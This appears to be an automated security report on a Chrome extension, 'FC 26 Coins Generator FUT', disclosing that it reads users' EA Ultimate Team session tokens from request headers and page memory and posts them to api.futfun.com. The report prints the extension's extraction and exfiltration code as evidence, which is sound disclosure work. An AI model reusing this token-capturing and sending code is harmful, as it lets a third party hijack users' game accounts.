Is FC 26 Coins Generator FUT safe?

High risk

FC 26 Coins Generator FUT captures your EA Ultimate Team session token and sends it to api.futfun.com.

The extension watches EA Ultimate Team web requests, reads the X-UT-SID session header, and stores it with the active persona ID. Its popup login and automated coin-generation flow then send that session token to api.futfun.com as the password field for backend authentication.

futfunv2.7.1Chrome Web Store
77Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

EA Ultimate Team session token sent as futfun password

Using FC 26 Coins Generator FUT with EA's Ultimate Team app, the extension reads `X-UT-SID` from EA traffic as the session token.

Login submits it to `api.futfun.com/main_authentication_token` as the password, with a persona-derived email.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open the EA Ultimate Team web app and use the extension's Generate Coins login flow.

The EA page must first issue Ultimate Team requests that include an `X-UT-SID` header.

The extension did this

The extension stores the EA session header and submits it to futfun as the login password value.

The same service worker path can also submit the stored persona and token when the backend account has an active trade request.

Fields moved from EA traffic into the futfun login request
  • EA session token
    X-UT-SID: 7f4b2b01-9d6a-4b0c-8aa6-f2d6e57b1429 (illustrative)

    This authenticates your EA Ultimate Team session. Sending it elsewhere gives that service the same session access read from your traffic.

  • Persona-derived futfun email
    123456789456@futfun.com (illustrative)

    This links the submitted token to your EA persona identifier inside the futfun login flow.

  • Backend password field
    password = X-UT-SID value (illustrative)

    The session token is placed where a login password normally goes, so the receiving service gets it as a credential-like value.

Captured request
POSThttps://api.futfun.com/main_authentication_token
Headers
Content-Type
application/json
The code that does this

Service worker captures the EA session header and can post it to futfun

Readable version

background.js ships in readable form: POST helper

background.js
function callGenerateCoins(email, password) {    const requestOptions = {        method: 'POST',        headers: {'Content-Type': 'application/json'},        body: JSON.stringify({email, password})    };    windowAlert('callGenerateCoins' + password);    return fetch(`https://api.futfun.com/main_authentication_token`, requestOptions)        .then(user => {            chrome.storage.local.set({                "token": user.token,                "user": user.uuid,                "accountId": user.accountId            });            return user;        });}

background.js ships in readable form: SID extraction

background.js
function updateCurrentSid(details) {    let find = details.requestHeaders.find(function (element) {        return element['name'] === 'X-UT-SID';    });    if (!find) {        return {requestHeaders: details.requestHeaders};    }    if (updateCurrentSidRunning === true) {        return ;    }    updateCurrentSidRunning = true;    const currentSid = find.value;    windowAlert('Current sid' + currentSid);    chrome.storage.local.get(["sid", "persona"], ({sid, persona}) => {        windowAlert('Last sid' + currentSid);        if (sid === currentSid) {            callGetAccount(false);            return;        }        chrome.storage.local.set({            "sid": currentSid,            "sid_tt": Math.floor(Date.now() / 1000)        });        callGetAccount(true);        chrome.runtime.sendMessage({            type: 'sid_updated'        });    });    updateCurrentSidRunning = false;}

background.js ships in readable form: persona extraction

background.js
function updateCurrentPersona(details) {    const persona = details.url.indexOf('nucPersId') !== -1 ? getParameterByName('nucPersId', details.url) + '456@futfun.com' : null;    if (!persona) {        return;    }    chrome.storage.local.set({        "persona": persona    });    chrome.runtime.sendMessage({        type: 'persona_updated'    });}

background.js ships in readable form: request-header listener

background.js
chrome.webRequest.onBeforeSendHeaders.addListener(    function (details) {        updateCurrentPersona(details);        updateCurrentSid(details);        return {requestHeaders: details.requestHeaders};    },    {        urls: [            "*://utas.mob.v5.fut.ea.com/*",            "*://utas.mob.v4.fut.ea.com/*",            "*://utas.mob.v3.fut.ea.com/*",            "*://utas.mob.v2.fut.ea.com/*",            "*://utas.mob.v1.fut.ea.com/*",            "*://utas.external.s5.fut.ea.com/*",            "*://utas.external.s4.fut.ea.com/*",            "*://utas.external.s2.fut.ea.com/*",            "*://utas.external.s1.fut.ea.com/*",            "*://utas.external.s3.fut.ea.com/*",            "*://utas.mob.v1.prd.futc-ext.gcp.ea.com/*",            "*://utas.mob.v2.prd.futc-ext.gcp.ea.com/*",            "*://utas.mob.v3.prd.futc-ext.gcp.ea.com/*",            "*://utas.mob.v4.prd.futc-ext.gcp.ea.com/*",            "*://utas.mob.v5.prd.futc-ext.gcp.ea.com/*"        ]    },    ["requestHeaders"]);
The code that does this

Popup login passes the stored EA token into the futfun password field

Readable version

Source map: ExtensionLoginPage.handleLogin

components/ExtensionLoginPage.jsx
handleLogin(e) {        this.setState({            loading: true        });        const {dispatch} = this.props;        chrome.storage.local.get(["sid", "persona", "accountId"], async ({sid, persona, accountId}) => {            await dispatch(userActions.login(persona, sid));            if (accountId) {                setTimeout(async () => {                    await dispatch(retrieveAccount('/accounts/' + accountId + '?_' + Math.random()));                }, 500);            }        });    }

Source map: userActions.login

actions/user.actions.js
function login(username, password) {    return dispatch => {        dispatch(request({ username }));        userService.login(username, password)            .then(                user => {                    dispatch(success(user));                    history.push('/auth');                },                error => {                    dispatch(failure(error));                    dispatch(alertActions.error(error));                }            );    };    function request(user) { return { type: userConstants.LOGIN_REQUEST, user } }    function success(user) { return { type: userConstants.LOGIN_SUCCESS, user } }    function failure(error) { return { type: userConstants.LOGIN_FAILURE, error } }}

Source map: userService.login

services/user.service.js
function login(email, password) {    // localStorage.clear();    const requestOptions = {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        body: JSON.stringify({ email, password })    };    return fetch(`${process.env.REACT_APP_API_ENTRYPOINT}/main_authentication_token`, requestOptions)        .then(handleResponse)        .then(user => {            chrome.storage.local.set({                "token": user.token,                "user": user.uuid,                "accountId": user.accountId            });            return user;        });}
External service receiving the session material
    • api.futfun.com

    Receives the extension's authentication POST containing the persona value and EA session token as the login password value.

    • futfun.com

    Referenced by the extension UI as the service behind the Generate Coins workflow.

Extension reads your live EA session from the page and logs into futfun with it

Opening the extension's popup while an EA Ultimate Team tab is open makes it read your live EA session id from the page and POST it to api.futfun.com as a login password.

Confirmed with a planted session marker.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You open the extension's popup while an EA Ultimate Team web app tab is open and logged in.

No EA network request needs to happen first; the tab just needs to be the active tab.

The extension did this

The extension injects a script into that page to read your live EA session id directly out of the page's memory.

It then submits that session id to futfun.com as if it were a login password.

Fields read from the page and sent to futfun's login endpoint
  • EA session ID
    b7f0c9d4-3a61-4e52-9c88-1d6f8a204e6a (illustrative)

    Authenticates your live EA Ultimate Team session. It is pulled directly out of the page's memory, not from network traffic.

  • Persona-derived futfun email
    1000123456789456@futfun.com (illustrative)

    Built from your EA persona id, this links the submitted session to a login identity inside futfun's system.

  • Backend password field
    password = EA session ID value

    Your EA session id is placed where a login password normally goes, so futfun's backend receives it as a credential.

Captured request
POSThttps://api.futfun.com/main_authentication_token

200 OK with an auth token and account id, which the extension then used to poll /accounts and /trades, i.e. the backend accepted the extracted session as a valid login credential.

Headers
Content-Type
application/json
Body
{  "email": "1000123456789456@futfun.com",  "password": "<planted marker>"}
The code that does this

Extension reads the EA session straight out of page memory

Readable version

Same functions, reformatted for readability

assets/index.html-DvjidIOG.js
async function O3() {  const l = await fg();  return l === void 0 ? null : N3(await j3(l))}function N3(l) {  const n = l == null ? void 0 : l.sid,    u = l == null ? void 0 : l.nucPersId;  return typeof n != "string" || n === "" || u == null || String(u) === "" ? null : {    sid: n,    persona: Ib(String(u))  }}async function w3() {  const l = await O3();  return l ? (await Mf({    sid: l.sid,    persona: l.persona,    sid_tt: Math.floor(Date.now() / 1e3)  }), l) : null}async function j3(l) {  try {    const [n] = await chrome.scripting.executeScript({      target: {        tabId: l      },      world: "MAIN",      func: () => {        var r, c, f;        const u = (c = (r = window.services) == null ? void 0 : r.Authentication) == null ? void 0 : c.utasSession;        return {          sid: u == null ? void 0 : u.id,          nucPersId: (f = u == null ? void 0 : u.user) == null ? void 0 : f.selectedPersona        }      }    });    return (n == null ? void 0 : n.result) ?? null  } catch {    return null  }}
The code that does this

Stored session is forwarded to futfun as a login credential

Readable version

Same functions, reformatted for readability

assets/index.html-DvjidIOG.js
function C3() {  const l = ee.c(2),    n = ps();  let u;  return l[0] !== n ? (u = {    mutationFn: D3,    onSuccess: async r => {      await Xn.getState().setSession(r), n.setQueriesData({        queryKey: ["account"]      }, R3), window.setTimeout(() => {        n.invalidateQueries({          queryKey: ["account"]        })      }, M3)    }  }, l[0] = n, l[1] = u) : u = l[1], Sv(u)}function R3(l) {  return l && {    ...l,    tradeIsRequested: !0  }}async function D3() {  const {    sid: l,    persona: n  } = await vs(["sid", "persona"]);  if (!l || !n) throw new Error("EA session is not captured yet.");  return z3({    email: n,    password: l  })}

Same functions, reformatted for readability

assets/index.html-DvjidIOG.js
async function z3(l) {  const n = await fetch(`${rg}/main_authentication_token`, {      method: "POST",      headers: {        "Content-Type": "application/json"      },      body: JSON.stringify(l)    }),    u = await n.text(),    r = u ? JSON.parse(u) : void 0;  if (!n.ok) {    n.status === 401 && await Cf(["user", "token"]);    const c = (typeof r == "object" && r !== null && "message" in r ? String(r.message) : void 0) ?? n.statusText ?? "An error occurred.";    throw new hs(n.status, c)  }  return _3.parse(r)}
External service receiving the extracted EA session
    • api.futfun.com

    Receives the EA session id and persona-derived email as a login POST, then returns an auth token this extension uses for its trading features.

    • futfun.com

    The Generate Coins service this extension is a client for; api.futfun.com is its backend.

Where it sends data

Destinations our analysis observed FC 26 Coins Generator FUT contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.futfun.com

    FC 26 Coins Generator FUT sends data to api.futfun.com. No other extension we have analysed sends data here.

Updated 30 September 2026pndeaciecioifmppjadlbaihilojkjnf